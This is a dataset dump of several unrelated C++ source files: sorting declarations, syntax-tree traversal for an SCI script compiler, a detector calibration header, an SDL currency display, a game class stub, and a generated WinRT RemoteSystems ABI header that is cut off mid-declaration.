text
stringlengths
8
6.88M
#ifndef COMPUTER_VISION_SORT_FUNCTIONS_H #define COMPUTER_VISION_SORT_FUNCTIONS_H #include <vector> #include <iostream> std::vector<int> selectionSort(std::vector<int> numbers, int &stepCounter, int o = 1); int* selectionSort(int array[], int size, int &stepCounter, int o = 1); std::vector<int> insertionSort(std::vector<int> inputVector, int &stepCounter, int order = 1); int* insertionSort(int* inputArray, int size, int &stepCounter, int order = 1); std::vector<int> quickSort(std::vector<int> &vector, int low, int high, int &stepCounter, int mode = 1); int* quickSort(int* array, int low, int high, int &stepCounter, int mode = 1); std::vector<int> bubbleSort(std::vector<int> a, int &stepCounter, int n = 1); int* bubbleSort(int arr[], int size, int &stepCounter, int n = 1); int* shakerSort(int* array, int size, int &stepCounter, int mode = 1); std::vector<int> shakerSort(std::vector<int> vector, int &stepCounter, int mode = 1); #endif
/*************************************************************************** Copyright (c) 2020 Philip Fortier This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. ***************************************************************************/ #include "stdafx.h" #include "ScriptOMAll.h" using namespace sci; using namespace std; class PerformTraverse : public std::unary_function<SyntaxNode*, void> { public: PerformTraverse(IExploreNode &en) : _en(en) {} void operator()(SyntaxNode* pNode) const { pNode->Traverse(_en); } private: IExploreNode &_en; }; template<typename T> void ForwardTraverse(const T &container, IExploreNode &en) { for_each(container.begin(), container.end(), PerformTraverse(en)); } template<typename T> class PerformTraverse2 { public: PerformTraverse2(IExploreNode &en) : _en(en) {} void operator()(const unique_ptr<T>& pNode) const { pNode->Traverse(_en); } private: IExploreNode &_en; }; template<typename T> void ForwardTraverse2(const vector<unique_ptr<T>> &container, IExploreNode &en) { for_each(container.begin(), container.end(), PerformTraverse2<T>(en)); } class PerformTraverse3 : public std::unary_function<SyntaxNode*, void> { public: PerformTraverse3(IExploreNode &en) : _en(en) {} void operator()(SyntaxNode &node) const { node.Traverse(_en); } private: IExploreNode &_en; }; template<typename T> void ForwardTraverse3(T &container, IExploreNode &en) { for_each(container.begin(), container.end(), PerformTraverse3( en)); } void FunctionBase::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_signatures, en); ForwardTraverse2(_tempVars, en); ForwardTraverse2(_segments, en); } void FunctionSignature::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_params, en); } void FunctionParameter::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void CodeBlock::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void NaryOp::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void Cast::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _statement1->Traverse(en); } void SendCall::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); // One of three forms of send params. ForwardTraverse2(_params, en); if (GetTargetName().empty()) { if (!_object3 || _object3->GetName().empty()) { _statement1->Traverse(en); } else { _object3->Traverse(en); } } if (_rest) { _rest->Traverse(en); } } void ProcedureCall::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void ConditionalExpression::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void SwitchStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _statement1->Traverse(en); ForwardTraverse2(_cases, en); } void CondStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (_statement1) { _statement1->Traverse(en); } ForwardTraverse2(_clausesTemp, en); } void ForLoop::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); GetInitializer()->Traverse(en); _innerCondition->Traverse(en); _looper->Traverse(en); ForwardTraverse2(_segments, en); } void WhileLoop::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _innerCondition->Traverse(en); ForwardTraverse2(_segments, en); } #if ENABLE_FOREACH void ForEachLoop::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (_statement1) { _statement1->Traverse(en); } ForwardTraverse2(_segments, en); } #endif #if ENABLE_GETPOLY void GetPolyStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } #endif void Script::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); // ForwardTraverse2(Globals, en); ForwardTraverse2(Externs, en); ForwardTraverse2(ClassDefs, en); ForwardTraverse2(Selectors, en); ForwardTraverse2(_procedures, en); ForwardTraverse2(_classes, en); ForwardTraverse2(_scriptVariables, en); ForwardTraverse2(_scriptStringDeclarations, en); ForwardTraverse2(_synonyms, en); } void VariableDecl::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void DoLoop::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _innerCondition->Traverse(en); ForwardTraverse2(_segments, en); } void Assignment::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _variable->Traverse(en); _statement1->Traverse(en); } void ClassProperty::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void ClassDefinition::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_methods, en); #ifdef ENABLE_VERBS ForwardTraverse2(_verbHandlers, en); #endif ForwardTraverse2(_properties, en); } void SendParam::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void LValue::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (HasIndexer()) { _indexer->Traverse(en); } } void ReturnStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (_statement1) _statement1->Traverse(en); } void CaseStatementBase::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (!IsDefault() && _statement1) _statement1->Traverse(en); ForwardTraverse2(_segments, en); } void UnaryOp::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _statement1->Traverse(en); } void BinaryOp::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _statement1->Traverse(en); _statement2->Traverse(en); } void IfStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); _innerCondition->Traverse(en); _statement1->Traverse(en); if (_statement2) { _statement2->Traverse(en); } } void ComplexPropertyValue::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (_pArrayInternal) { _pArrayInternal->Traverse(en); } } void PropertyValue::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void Synonym::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void BreakStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void ContinueStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void RestStatement::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void Asm::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void AsmBlock::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ForwardTraverse2(_segments, en); } void WeakSyntaxNode::Traverse(IExploreNode &en) { assert(false); } void ClassDefDeclaration::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void SelectorDeclaration::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); } void GlobalDeclaration::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); if (InitialValue) { InitialValue->Traverse(en); } } void ExternDeclaration::Traverse(IExploreNode &en) { ExploreNodeBlock enb(en, *this); ScriptNumber.Traverse(en); }
#pragma once #include "calibration/Calibration.h" #include "Energy.h" class TH1; namespace ant { namespace expconfig { namespace detector { struct PID; }} namespace calibration { class PID_Energy : public Energy, public ReconstructHook::EventData { public: PID_Energy( std::shared_ptr<expconfig::detector::PID> pid, std::shared_ptr<DataManager> calmgr, Calibration::Converter::ptr_t converter, double defaultPedestal = 100, double defaultGain = 0.014, double defaultThreshold = 0.001, double defaultRelativeGain = 1.0); virtual ~PID_Energy(); virtual void GetGUIs(std::list<std::unique_ptr<calibration::gui::CalibModule_traits> >& guis) override; using Energy::ApplyTo; // still this ApplyTo should be used virtual void ApplyTo(TEventData& reconstructed) override; protected: std::shared_ptr<expconfig::detector::PID> pid_detector; }; }} // namespace ant::calibration
#include<bits/stdc++.h> using namespace std; int solve(int n) { int end = (2*(n-1))+1; int start = 1; int value = (start + end)/2; int total = 0; for(int i=0;i<(n/2);i++) { int cur = (2*i)+1; total+=(value-cur); } return total; } int main() { int n; cin >> n; cout << solve(n) << endl; }
#include "CValuteEntry.h" #include "sdltest2.h" #include <string> #include <iostream> #include <algorithm> #include <SDL.h> #include <SDL_image.h> #include <SDL_ttf.h> CValuteEntry::CValuteEntry(std::string ANominal, std::string ACharCode, std::string AValue) { Font = TTF_OpenFont(FONT_FILENAME, FONT_SIZE); Nominal = ANominal; CharCode = ACharCode; Value = AValue; SDL_Color blackColor = { 0, 0, 0 }; SDL_Surface* LeftText = TTF_RenderText_Blended(Font, ANominal.c_str(), blackColor); SDL_Surface* EqualText = TTF_RenderText_Blended(Font, " = ", blackColor); SDL_Surface* RightText = TTF_RenderText_Blended(Font, AValue.c_str(), blackColor); TTF_CloseFont(Font); SDL_Surface* Flag = IMG_Load((FLAGS_PATH + ACharCode + FLAG_EXT).c_str()); SDL_Surface* Rub = IMG_Load((FLAGS_PATH + (std::string)"RUB" + FLAG_EXT).c_str()); Line = SDL_CreateRGBSurface( 0, LeftText->w + Flag->w + EqualText->w + RightText->w + Rub->w, std::max({LeftText->h, Flag->h, EqualText->h, RightText->h, Rub->h}), 32, 0, 0, 0, 0 ); SDL_FillRect(Line, NULL, SDL_MapRGB(Line->format, 0xFF, 0xFF, 0xFF)); SDL_Rect iRect; iRect.x = 0; iRect.y = 0; iRect.w = LeftText->w; iRect.h = LeftText->h; SDL_BlitSurface(LeftText, NULL, Line, &iRect); iRect.x += LeftText->w; SDL_BlitSurface(Flag, NULL, Line, &iRect); iRect.x += Flag->w; SDL_BlitSurface(EqualText, NULL, Line, &iRect); iRect.x += EqualText->w; SDL_BlitSurface(RightText, NULL, Line, &iRect); iRect.x += RightText->w; SDL_BlitSurface(Rub, NULL, Line, &iRect); // free temp surfaces SDL_FreeSurface(LeftText); SDL_FreeSurface(EqualText); SDL_FreeSurface(RightText); SDL_FreeSurface(Flag); SDL_FreeSurface(Rub); } CValuteEntry::~CValuteEntry() { if (Line) { SDL_FreeSurface(Line); Line = nullptr; } }
// Copyright ⓒ 2020 Valentyn Bondarenko. All rights reserved. #pragma once #include <IGameObject.hpp> namespace be::game { class Terrain : public IGameObject { public: Terrain() = default; ~Terrain() = default; Terrain(const Terrain&) = delete; Terrain(Terrain&&) = delete; Terrain operator=(const Terrain&) = delete; Terrain operator=(Terrain&&) = delete; public: // grass // obj // texture }; }
// C++ for the Windows Runtime vv1.0.170303.6 // Copyright (c) 2017 Microsoft Corporation. All rights reserved. #pragma once #include "../base.h" #include "Windows.System.RemoteSystems.0.h" #include "Windows.Foundation.0.h" #include "Windows.Foundation.Collections.0.h" #include "Windows.Networking.0.h" #include "Windows.Foundation.1.h" #include "Windows.Foundation.Collections.1.h" #include "Windows.Networking.1.h" WINRT_EXPORT namespace winrt { namespace ABI::Windows::System::RemoteSystems { struct __declspec(uuid("8108e380-7f8a-44e4-92cd-03b6469b94a3")) __declspec(novtable) IKnownRemoteSystemCapabilitiesStatics : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_AppService(hstring * value) = 0; virtual HRESULT __stdcall get_LaunchUri(hstring * value) = 0; virtual HRESULT __stdcall get_RemoteSession(hstring * value) = 0; virtual HRESULT __stdcall get_SpatialEntity(hstring * value) = 0; }; struct __declspec(uuid("ed5838cd-1e10-4a8c-b4a6-4e5fd6f97721")) __declspec(novtable) IRemoteSystem : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_DisplayName(hstring * value) = 0; virtual HRESULT __stdcall get_Id(hstring * value) = 0; virtual HRESULT __stdcall get_Kind(hstring * value) = 0; virtual HRESULT __stdcall get_Status(winrt::Windows::System::RemoteSystems::RemoteSystemStatus * value) = 0; virtual HRESULT __stdcall get_IsAvailableByProximity(bool * value) = 0; }; struct __declspec(uuid("09dfe4ec-fb8b-4a08-a758-6876435d769e")) __declspec(novtable) IRemoteSystem2 : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_IsAvailableBySpatialProximity(bool * value) = 0; virtual HRESULT __stdcall abi_GetCapabilitySupportedAsync(hstring capabilityName, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; }; struct __declspec(uuid("8f39560f-e534-4697-8836-7abea151516e")) __declspec(novtable) IRemoteSystemAddedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystem(Windows::System::RemoteSystems::IRemoteSystem ** value) = 0; }; struct __declspec(uuid("6b0dde8e-04d0-40f4-a27f-c2acbbd6b734")) __declspec(novtable) IRemoteSystemAuthorizationKindFilter : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystemAuthorizationKind(winrt::Windows::System::RemoteSystems::RemoteSystemAuthorizationKind * value) = 0; }; struct __declspec(uuid("ad65df4d-b66a-45a4-8177-8caed75d9e5a")) __declspec(novtable) IRemoteSystemAuthorizationKindFilterFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(winrt::Windows::System::RemoteSystems::RemoteSystemAuthorizationKind remoteSystemAuthorizationKind, Windows::System::RemoteSystems::IRemoteSystemAuthorizationKindFilter ** result) = 0; }; struct __declspec(uuid("84ed4104-8d5e-4d72-8238-7621576c7a67")) __declspec(novtable) IRemoteSystemConnectionRequest : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystem(Windows::System::RemoteSystems::IRemoteSystem ** value) = 0; }; struct __declspec(uuid("aa0a0a20-baeb-4575-b530-810bb9786334")) __declspec(novtable) IRemoteSystemConnectionRequestFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(Windows::System::RemoteSystems::IRemoteSystem * remoteSystem, Windows::System::RemoteSystems::IRemoteSystemConnectionRequest ** result) = 0; }; struct __declspec(uuid("42d9041f-ee5a-43da-ac6a-6fee25460741")) __declspec(novtable) IRemoteSystemDiscoveryTypeFilter : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystemDiscoveryType(winrt::Windows::System::RemoteSystems::RemoteSystemDiscoveryType * value) = 0; }; struct __declspec(uuid("9f9eb993-c260-4161-92f2-9c021f23fe5d")) __declspec(novtable) IRemoteSystemDiscoveryTypeFilterFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(winrt::Windows::System::RemoteSystems::RemoteSystemDiscoveryType discoveryType, Windows::System::RemoteSystems::IRemoteSystemDiscoveryTypeFilter ** result) = 0; }; struct __declspec(uuid("4a3ba9e4-99eb-45eb-ba16-0367728ff374")) __declspec(novtable) IRemoteSystemFilter : Windows::Foundation::IInspectable { }; struct __declspec(uuid("38e1c9ec-22c3-4ef6-901a-bbb1c7aad4ed")) __declspec(novtable) IRemoteSystemKindFilter : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystemKinds(Windows::Foundation::Collections::IVectorView<hstring> ** value) = 0; }; struct __declspec(uuid("a1fb18ee-99ea-40bc-9a39-c670aa804a28")) __declspec(novtable) IRemoteSystemKindFilterFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(Windows::Foundation::Collections::IIterable<hstring> * remoteSystemKinds, Windows::System::RemoteSystems::IRemoteSystemKindFilter ** result) = 0; }; struct __declspec(uuid("f6317633-ab14-41d0-9553-796aadb882db")) __declspec(novtable) IRemoteSystemKindStatics : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Phone(hstring * value) = 0; virtual HRESULT __stdcall get_Hub(hstring * value) = 0; virtual HRESULT __stdcall get_Holographic(hstring * value) = 0; virtual HRESULT __stdcall get_Desktop(hstring * value) = 0; virtual HRESULT __stdcall get_Xbox(hstring * value) = 0; }; struct __declspec(uuid("8b3d16bb-7306-49ea-b7df-67d5714cb013")) __declspec(novtable) IRemoteSystemRemovedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystemId(hstring * value) = 0; }; struct __declspec(uuid("69476a01-9ada-490f-9549-d31cb14c9e95")) __declspec(novtable) IRemoteSystemSession : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Id(hstring * value) = 0; virtual HRESULT __stdcall get_DisplayName(hstring * value) = 0; virtual HRESULT __stdcall get_ControllerDisplayName(hstring * value) = 0; virtual HRESULT __stdcall add_Disconnected(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSession, Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Disconnected(event_token token) = 0; virtual HRESULT __stdcall abi_CreateParticipantWatcher(Windows::System::RemoteSystems::IRemoteSystemSessionParticipantWatcher ** result) = 0; virtual HRESULT __stdcall abi_SendInvitationAsync(Windows::System::RemoteSystems::IRemoteSystem * invitee, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; }; struct __declspec(uuid("d585d754-bc97-4c39-99b4-beca76e04c3f")) __declspec(novtable) IRemoteSystemSessionAddedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_SessionInfo(Windows::System::RemoteSystems::IRemoteSystemSessionInfo ** value) = 0; }; struct __declspec(uuid("e48b2dd2-6820-4867-b425-d89c0a3ef7ba")) __declspec(novtable) IRemoteSystemSessionController : Windows::Foundation::IInspectable { virtual HRESULT __stdcall add_JoinRequested(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionController, Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_JoinRequested(event_token token) = 0; virtual HRESULT __stdcall abi_RemoveParticipantAsync(Windows::System::RemoteSystems::IRemoteSystemSessionParticipant * pParticipant, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; virtual HRESULT __stdcall abi_CreateSessionAsync(Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystemSessionCreationResult> ** operation) = 0; }; struct __declspec(uuid("bfcc2f6b-ac3d-4199-82cd-6670a773ef2e")) __declspec(novtable) IRemoteSystemSessionControllerFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_CreateController(hstring displayName, Windows::System::RemoteSystems::IRemoteSystemSessionController ** result) = 0; virtual HRESULT __stdcall abi_CreateControllerWithSessionOptions(hstring displayName, Windows::System::RemoteSystems::IRemoteSystemSessionOptions * options, Windows::System::RemoteSystems::IRemoteSystemSessionController ** result) = 0; }; struct __declspec(uuid("a79812c2-37de-448c-8b83-a30aa3c4ead6")) __declspec(novtable) IRemoteSystemSessionCreationResult : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Status(winrt::Windows::System::RemoteSystems::RemoteSystemSessionCreationStatus * value) = 0; virtual HRESULT __stdcall get_Session(Windows::System::RemoteSystems::IRemoteSystemSession ** value) = 0; }; struct __declspec(uuid("de0bc69b-77c5-461c-8209-7c6c5d3111ab")) __declspec(novtable) IRemoteSystemSessionDisconnectedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Reason(winrt::Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedReason * value) = 0; }; struct __declspec(uuid("ff4df648-8b0a-4e9a-9905-69e4b841c588")) __declspec(novtable) IRemoteSystemSessionInfo : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_DisplayName(hstring * value) = 0; virtual HRESULT __stdcall get_ControllerDisplayName(hstring * value) = 0; virtual HRESULT __stdcall abi_JoinAsync(Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystemSessionJoinResult> ** operation) = 0; }; struct __declspec(uuid("3e32cc91-51d7-4766-a121-25516c3b8294")) __declspec(novtable) IRemoteSystemSessionInvitation : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Sender(Windows::System::RemoteSystems::IRemoteSystem ** value) = 0; virtual HRESULT __stdcall get_SessionInfo(Windows::System::RemoteSystems::IRemoteSystemSessionInfo ** value) = 0; }; struct __declspec(uuid("08f4003f-bc71-49e1-874a-31ddff9a27b9")) __declspec(novtable) IRemoteSystemSessionInvitationListener : Windows::Foundation::IInspectable { virtual HRESULT __stdcall add_InvitationReceived(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener, Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_InvitationReceived(event_token token) = 0; }; struct __declspec(uuid("5e964a2d-a10d-4edb-8dea-54d20ac19543")) __declspec(novtable) IRemoteSystemSessionInvitationReceivedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Invitation(Windows::System::RemoteSystems::IRemoteSystemSessionInvitation ** value) = 0; }; struct __declspec(uuid("20600068-7994-4331-86d1-d89d882585ee")) __declspec(novtable) IRemoteSystemSessionJoinRequest : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Participant(Windows::System::RemoteSystems::IRemoteSystemSessionParticipant ** value) = 0; virtual HRESULT __stdcall abi_Accept() = 0; }; struct __declspec(uuid("dbca4fc3-82b9-4816-9c24-e40e61774bd8")) __declspec(novtable) IRemoteSystemSessionJoinRequestedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_JoinRequest(Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequest ** value) = 0; virtual HRESULT __stdcall abi_GetDeferral(Windows::Foundation::IDeferral ** value) = 0; }; struct __declspec(uuid("ce7b1f04-a03e-41a4-900b-1e79328c1267")) __declspec(novtable) IRemoteSystemSessionJoinResult : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Status(winrt::Windows::System::RemoteSystems::RemoteSystemSessionJoinStatus * value) = 0; virtual HRESULT __stdcall get_Session(Windows::System::RemoteSystems::IRemoteSystemSession ** value) = 0; }; struct __declspec(uuid("9524d12a-73d9-4c10-b751-c26784437127")) __declspec(novtable) IRemoteSystemSessionMessageChannel : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Session(Windows::System::RemoteSystems::IRemoteSystemSession ** value) = 0; virtual HRESULT __stdcall abi_BroadcastValueSetAsync(Windows::Foundation::Collections::IPropertySet * messageData, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; virtual HRESULT __stdcall abi_SendValueSetAsync(Windows::Foundation::Collections::IPropertySet * messageData, Windows::System::RemoteSystems::IRemoteSystemSessionParticipant * participant, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; virtual HRESULT __stdcall abi_SendValueSetToParticipantsAsync(Windows::Foundation::Collections::IPropertySet * messageData, Windows::Foundation::Collections::IIterable<Windows::System::RemoteSystems::RemoteSystemSessionParticipant> * participants, Windows::Foundation::IAsyncOperation<bool> ** operation) = 0; virtual HRESULT __stdcall add_ValueSetReceived(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel, Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_ValueSetReceived(event_token token) = 0; }; struct __declspec(uuid("295e1c4a-bd16-4298-b7ce-415482b0e11d")) __declspec(novtable) IRemoteSystemSessionMessageChannelFactory : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Create(Windows::System::RemoteSystems::IRemoteSystemSession * session, hstring channelName, Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannel ** result) = 0; virtual HRESULT __stdcall abi_CreateWithReliability(Windows::System::RemoteSystems::IRemoteSystemSession * session, hstring channelName, winrt::Windows::System::RemoteSystems::RemoteSystemSessionMessageChannelReliability reliability, Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannel ** result) = 0; }; struct __declspec(uuid("740ed755-8418-4f01-9353-e21c9ecc6cfc")) __declspec(novtable) IRemoteSystemSessionOptions : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_IsInviteOnly(bool * value) = 0; virtual HRESULT __stdcall put_IsInviteOnly(bool value) = 0; }; struct __declspec(uuid("7e90058c-acf9-4729-8a17-44e7baed5dcc")) __declspec(novtable) IRemoteSystemSessionParticipant : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_RemoteSystem(Windows::System::RemoteSystems::IRemoteSystem ** value) = 0; virtual HRESULT __stdcall abi_GetHostNames(Windows::Foundation::Collections::IVectorView<Windows::Networking::HostName> ** result) = 0; }; struct __declspec(uuid("d35a57d8-c9a1-4bb7-b6b0-79bb91adf93d")) __declspec(novtable) IRemoteSystemSessionParticipantAddedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Participant(Windows::System::RemoteSystems::IRemoteSystemSessionParticipant ** value) = 0; }; struct __declspec(uuid("866ef088-de68-4abf-88a1-f90d16274192")) __declspec(novtable) IRemoteSystemSessionParticipantRemovedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Participant(Windows::System::RemoteSystems::IRemoteSystemSessionParticipant ** value) = 0; }; struct __declspec(uuid("dcdd02cc-aa87-4d79-b6cc-4459b3e92075")) __declspec(novtable) IRemoteSystemSessionParticipantWatcher : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Start() = 0; virtual HRESULT __stdcall abi_Stop() = 0; virtual HRESULT __stdcall get_Status(winrt::Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcherStatus * value) = 0; virtual HRESULT __stdcall add_Added(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Added(event_token token) = 0; virtual HRESULT __stdcall add_Removed(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Removed(event_token token) = 0; virtual HRESULT __stdcall add_EnumerationCompleted(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher, Windows::Foundation::IInspectable> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_EnumerationCompleted(event_token token) = 0; }; struct __declspec(uuid("af82914e-39a1-4dea-9d63-43798d5bbbd0")) __declspec(novtable) IRemoteSystemSessionRemovedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_SessionInfo(Windows::System::RemoteSystems::IRemoteSystemSessionInfo ** value) = 0; }; struct __declspec(uuid("8524899f-fd20-44e3-9565-e75a3b14c66e")) __declspec(novtable) IRemoteSystemSessionStatics : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_CreateWatcher(Windows::System::RemoteSystems::IRemoteSystemSessionWatcher ** result) = 0; }; struct __declspec(uuid("16875069-231e-4c91-8ec8-b3a39d9e55a3")) __declspec(novtable) IRemoteSystemSessionUpdatedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_SessionInfo(Windows::System::RemoteSystems::IRemoteSystemSessionInfo ** value) = 0; }; struct __declspec(uuid("06f31785-2da5-4e58-a78f-9e8d0784ee25")) __declspec(novtable) IRemoteSystemSessionValueSetReceivedEventArgs : Windows::Foundation::IInspectable { virtual HRESULT __stdcall get_Sender(Windows::System::RemoteSystems::IRemoteSystemSessionParticipant ** value) = 0; virtual HRESULT __stdcall get_Message(Windows::Foundation::Collections::IPropertySet ** value) = 0; }; struct __declspec(uuid("8003e340-0c41-4a62-b6d7-bdbe2b19be2d")) __declspec(novtable) IRemoteSystemSessionWatcher : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_Start() = 0; virtual HRESULT __stdcall abi_Stop() = 0; virtual HRESULT __stdcall get_Status(winrt::Windows::System::RemoteSystems::RemoteSystemSessionWatcherStatus * value) = 0; virtual HRESULT __stdcall add_Added(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Added(event_token token) = 0; virtual HRESULT __stdcall add_Updated(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Updated(event_token token) = 0; virtual HRESULT __stdcall add_Removed(Windows::Foundation::TypedEventHandler<Windows::System::RemoteSystems::RemoteSystemSessionWatcher, Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs> * handler, event_token * token) = 0; virtual HRESULT __stdcall remove_Removed(event_token token) = 0; }; struct __declspec(uuid("a485b392-ff2b-4b47-be62-743f2f140f30")) __declspec(novtable) IRemoteSystemStatics : Windows::Foundation::IInspectable { virtual HRESULT __stdcall abi_FindByHostNameAsync(Windows::Networking::IHostName * hostName, Windows::Foundation::IAsyncOperation<Windows::System::RemoteSystems::RemoteSystem> ** operation) = 0; virtual HRESULT __stdcall abi_CreateWatcher(Windows::System::RemoteSystems::IRemoteSystemWatcher ** result) = 0; virtual HRESULT __stdcall abi_CreateWatcherWithFilters(Windows::Foundation::Collections::IIterable<Windows::System::RemoteSystems::IRemoteSystemFilter> * 